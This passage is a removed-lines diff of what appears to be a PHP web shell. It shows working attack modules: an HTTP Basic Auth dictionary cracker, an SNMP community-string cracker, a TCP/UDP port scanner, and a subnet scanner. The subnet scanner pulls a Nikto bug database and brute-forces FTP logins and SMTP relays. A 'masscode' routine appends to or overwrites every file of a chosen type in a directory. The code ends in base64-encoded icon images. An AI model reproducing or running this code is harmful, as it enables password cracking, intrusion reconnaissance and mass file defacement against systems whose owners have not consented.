Dictionary type:Simple (P)Combo (U:P)
Username:$hcwd
Action Page:
Method:
Username field name:
Password field name:
Submit name:
Submit value:
Fail string:
"; -} - -if ($act == "basicauth") -{ -global $errorbox,$et,$t,$crack,$hcwd; -if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$data=''; -$method=($_REQUEST['method'])?'POST':'GET'; -if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} -spliturL($_REQUEST['target'],$host,$page); -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -if($method='GET')$page.=$data; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -echo ""; -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$so=fsockopen($host,80,$en,$es,5); -if(!$so){echo "$errorbox Can not connect to host$et";break;} -else{ -$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); -if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); -$packet.="\r\n\r\n"; -$packet.=$data; -fputs($so,$packet); -$res=substr(fgets($so),9,2); -fclose($so); -if($res=='20')echo "U: $user P: $pass
"; -flusheR(); -} -} -echo "Done!
"; -}else echo "
-HTTP Auth cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
$hcwd
"; -} - -if ($act == "snmp") -{ -global $t,$et,$errorbox,$crack,$hcwd; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -$com=trim(fgets($dictionary)," \n\r"); -$res=snmpchecK($target,$com,2); -if($res)echo "$com
"; -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -} - echo "
SNMP cracker:$hcwd
Dictionary:
Server:
"; -} - - - -if ($act == "scanner") -{ -global $hcwd; -if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; -$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; -if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ -$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; -echo "Port scanning started against ".htmlspecialchars($target).":
"; -$start=time(); -for($i=$from;$i<=$to;$i++){ -if($tcp){ -if (checkthisporT($target,$i,$timeout)){ -$nu++; -$ser=""; -if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; -echo "$nu) $i $ser (Connect) [TCP]
"; -} -} -if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]
";} -flusheR(); -} -$time=time()-$start; -echo "Done! ($time seconds)
"; -} -elseif (!empty($_REQUEST['securityscanner'])){ -echo ""; -$start=time(); -$from=$_REQUEST['from']; -$to=(int)$_REQUEST['to']; -$timeout=(int)$_REQUEST['timeout']; -$f = substr($from,strrpos($from,".")+1); -$from = substr($from,0,strrpos($from,".")); -if(!empty($_REQUEST['httpscanner'])){ -echo "Loading webserver bug list..."; -flusheR(); -$buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); -$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); -if($dl){$file=file($buglist);echo "Done! scanning started.

";}else echo "Failed!!! scanning started without webserver security testing...

"; -flusheR(); -}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:

";} -for($i=$f;$i<=$to;$i++){ -$output=0; -$ip="$from.$i"; -if(!empty($_REQUEST['nslookup'])){ -$hn=gethostbyaddr($ip); -if($hn!=$ip)echo "$ip [$hn]
";} -flusheR(); -if(!empty($_REQUEST['ipscanner'])){ -$port=$_REQUEST['port']; -if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; -$open=$ser=""; -foreach($p as $po){ -$scan=checkthisporT($ip,$po,$timeout); -if ($scan){ -$ser=""; -if($ser=getservbyport($po,"tcp"))$ser="($ser)"; -$open.=" $po$ser "; -} -} -if($open){echo "$ip) Open ports:$open
";$output=1;} -flusheR(); -} -if(!empty($_REQUEST['httpbanner'])){ -$res=get_sw_namE($ip,$timeout); -if($res){ -echo "$ip) Webserver software: "; -if($res==-1)echo "Unknow"; -else echo $res; -echo "
"; -$output=1; -} -flusheR(); -} -if(!empty($_REQUEST['httpscanner'])){ -if(checkthisporT($ip,80,$timeout) && !empty($file)){ -$admin=array('/admin/','/adm/'); -$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); -$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); -$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); -foreach ($file as $v){ -$vuln=array(); -$v=trim($v); -if(!$v || $v{0}=='#')continue; -$v=str_replace('","','^',$v); -$v=str_replace('"','',$v); -$vuln=explode('^',$v); -$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; -if(strstr($page,'@CGIDIRS')) -foreach($cgi as $cg){ -$cqich=str_replace('@CGIDIRS',$cg,$page); -$url="http://$ip$cqich"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -elseif(strstr($page,'@ADMINDIRS')) -foreach ($admin as $cg){ -$adminch=str_replace('@ADMINDIRS',$cg,$page); -$url="http://$ip$adminch"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -elseif(strstr($page,'@USERS')) -foreach ($users as $cg){ -$userch=str_replace('@USERS',$cg,$page); -$url="http://$ip$userch"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -elseif(strstr($page,'@NUKE')) -foreach ($nuke as $cg){ -$nukech=str_replace('@NUKE',$cg,$page); -$url="http://$ip$nukech"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -else{ -$url="http://$ip$page"; -$res=check_urL($url,$vuln[3],$vuln[2],$timeout); -if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} -flusheR(); -} -} -} -} -if(!empty($_REQUEST['smtprelay'])){ -if(checkthisporT($ip,25,$timeout)){ -$res=''; -$res=checksmtP($ip,$timeout); -if($res==1){echo "$ip) SMTP relay found.
";$output=1;}flusheR(); -} -} -if(!empty($_REQUEST['snmpscanner'])){ -if(checkthisporT($ip,161,$timeout,1)){ -$com=$_REQUEST['com']; -$coms=$res=""; -if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; -foreach ($c as $v){ -$ret=snmpchecK($ip,$v,$timeout); -if($ret)$coms .=" $v "; -} -if ($coms!=""){echo "$ip) SNMP FOUND: $coms
";$output=1;} -flusheR(); -} -} -if(!empty($_REQUEST['ftpscanner'])){ -if(checkthisporT($ip,21,$timeout)){ -$usps=explode(',',$_REQUEST['userpass']); -foreach ($usps as $v){ -$user=substr($v,0,strpos($v,':')); -$pass=substr($v,strpos($v,':')+1); -if($pass=='[BLANK]')$pass=''; -$ftp=@ftp_connect($ip,21,$timeout); -if ($ftp){ -if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) $ip System type: ".ftp_systype($ftp)."
";} -} -flusheR(); -} -} -} -if($output)echo "
"; -flusheR(); -} -$time=time()-$start; -echo "Done! ($time seconds)
"; -if(!empty($buglist))unlink($buglist); -} -else{ -$chbox=(extension_loaded('sockets'))?"TCPUDP":""; -echo "

Port scanner:
Target:
From:
To:
Timeout:
$chbox$hcwd
"; -$host = substr($host,0,strrpos($host,".")); -echo "
security scanner:
From: NS lookup
To:xxx.xxx.xxx.$hcwd
Timeout:
Port scanner:
Get web bannerWebserver security scanning   SMTP relay check
FTP password:
SNMP:

"; -} -} - -if ($act == "masscode") -{ -if(isset($_POST['dir']) && - $_POST['dir'] != '' && - isset($_POST['filetype']) && - $_POST['filetype'] != '' && - isset($_POST['mode']) && - $_POST['mode'] != '' && - isset($_POST['message']) && - $_POST['message'] != '' - ) - { - $dir = $_POST['dir']; - $filetype = $_POST['filetype']; - $message = $_POST['message']; - - $mode = "a"; //default mode - - - // Modes Begin - - if($_POST['mode'] == 'Apender') - { - $mode = "a"; - } - if($_POST['mode'] == 'Overwriter') - { - $mode = "w"; - } - - if($handle = opendir($dir)) - { - ?> - Overwritten Files :- -
    - -
  • ">
  • - Permission Denied

    "; break; - fwrite($fd,$message); - } - } - ?> -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Directory - - -
- Mode - - -
- File Type - - -
- -
- -
- - -"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". - -"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", - -"back"=> - -"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". - -"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". - -"Wg0JADs=", - -"buffer"=> - -"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". - -"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". - -"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", - -"change"=> - -"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". - -"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". - -"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". - -"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". - -"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". - -"zMshADs=", - -"delete"=> - -"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". - -"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". - -"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". - -"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". - -"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". - -"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". - -"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". - -"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". - -"jwVFHBgiEGQFIgQasYkcSbJQIAA7", - -"download"=> - -"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". - -"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", - -"forward"=> - -"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". - -"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". - -"WqsJADs=", - -"home"=> - -"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". - -"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". - -"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". - -"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", - -"mode"=> - -"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". - -"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". - -"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", - -"refresh"=> - -"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". - -"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". - -"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". - -"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", - -"search"=> - -"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". - -"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". - -"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". - -"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". - -"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", - -"setup"=> - -"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". - -"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". - -"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". - -"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". - -"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", - -"small_dir"=> - -"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". - -"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", - -"small_unk"=> - -"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". - -"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". - -"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". - -"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". - -"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". - -"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". - -"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". - -"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". - -"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". - -"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". - -"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". - -"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". - -"yAsokBkQADs=", - -"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". - -"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", - -"sort_asc"=> - -"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". - -"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", - -"sort_desc"=> - -"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". - -"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", - -"sql_button_drop"=> - -"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". - -"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". - -"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". - -"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". - -"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". - -"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". - -"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". - -"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". - -"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". - -"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". - -"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". - -"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". - -"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". - -"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". - -"AQEAOw==", - -"sql_button_empty"=> - -"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". - -"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". - -"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". - -"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". - -"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". - -"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". - -"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". - -"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". - -"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". - -"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". - -"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". - -"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". - -"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". - -"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", - -"sql_button_insert"=> - -"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". - -"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". - -"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". - -"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". - -"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". - -"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". - -"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". - -"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". - -"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". - -"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". - -"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". - -"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". - -"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". - -"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", - -"up"=> - -"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". - -"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". - -"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". - -"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", - -"write"=> - -"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". - -"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". - -"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". - -"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", - -"ext_asp"=> - -"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". - -"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". - -"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", - -"ext_mp3"=> - 